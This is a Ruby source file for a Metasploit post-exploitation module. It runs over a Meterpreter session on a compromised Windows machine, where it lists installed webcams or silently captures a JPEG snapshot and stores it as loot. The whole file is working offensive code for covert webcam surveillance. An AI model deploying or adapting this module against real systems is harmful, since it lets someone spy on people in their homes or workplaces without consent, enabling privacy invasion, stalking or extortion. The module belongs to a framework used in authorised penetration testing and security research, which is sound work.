##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Webcam',
        'Description' => %q{
          This module will allow the user to detect installed webcams (with
          the LIST action) or take a snapshot (with the SNAPSHOT) action.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r'],
        'Platform' => [ 'win'],
        'SessionTypes' => [ 'meterpreter' ],
        'Actions' => [
          [ 'LIST', { 'Description' => 'Show a list of webcams' } ],
          [ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ]
        ],
        'DefaultAction' => 'LIST',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_webcam_*
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [PHYSICAL_EFFECTS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]),
        OptInt.new('QUALITY', [false, 'The JPEG image quality', 50])
      ]
    )
  end

  def run
    if client.nil?
      print_error("Invalid session ID selected. Make sure the host isn't dead.")
      return
    end

    if !action
      print_error('Invalid action')
      return
    end

    case action.name
    when /^list$/i
      list_webcams(show: true)
    when /^snapshot$/i
      snapshot
    end
  end

  def rhost
    client.sock.peerhost
  end

  def snapshot
    webcams = list_webcams

    if webcams.empty?
      print_error("#{rhost} - No webcams found")
      return
    end

    if !(webcams[datastore['INDEX'] - 1])
      print_error("#{rhost} - No such index: #{datastore['INDEX']}")
      return
    end

    buf = nil

    begin
      print_status("#{rhost} - Starting...")
      client.webcam.webcam_start(datastore['INDEX'])

      buf = client.webcam.webcam_get_frame(datastore['QUALITY'])
      if buf
        print_status("#{rhost} - Got frame")

        p = store_loot(
          "#{rhost}.webcam.snapshot",
          'application/octet-stream',
          rhost,
          buf,
          "#{rhost}_snapshot.jpg",
          "#{rhost} Webcam Snapshot"
        )

        print_good("#{rhost} - Snapshot saved: #{p}")
      end

      client.webcam.webcam_stop
      print_status("#{rhost} - Stopped")
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.message)
      return
    end
  end

  def list_webcams(show: false)
    begin
      webcams = client.webcam.webcam_list
    rescue Rex::Post::Meterpreter::RequestError
      webcams = []
    end

    if show
      tbl = Rex::Text::Table.new(
        'Header' => 'Webcam List',
        'Indent' => 1,
        'Columns' => ['Index', 'Name']
      )

      webcams.each_with_index do |name, indx|
        tbl << [(indx + 1).to_s, name]
      end

      print_line(tbl.to_s)
    end

    return webcams
  end
end
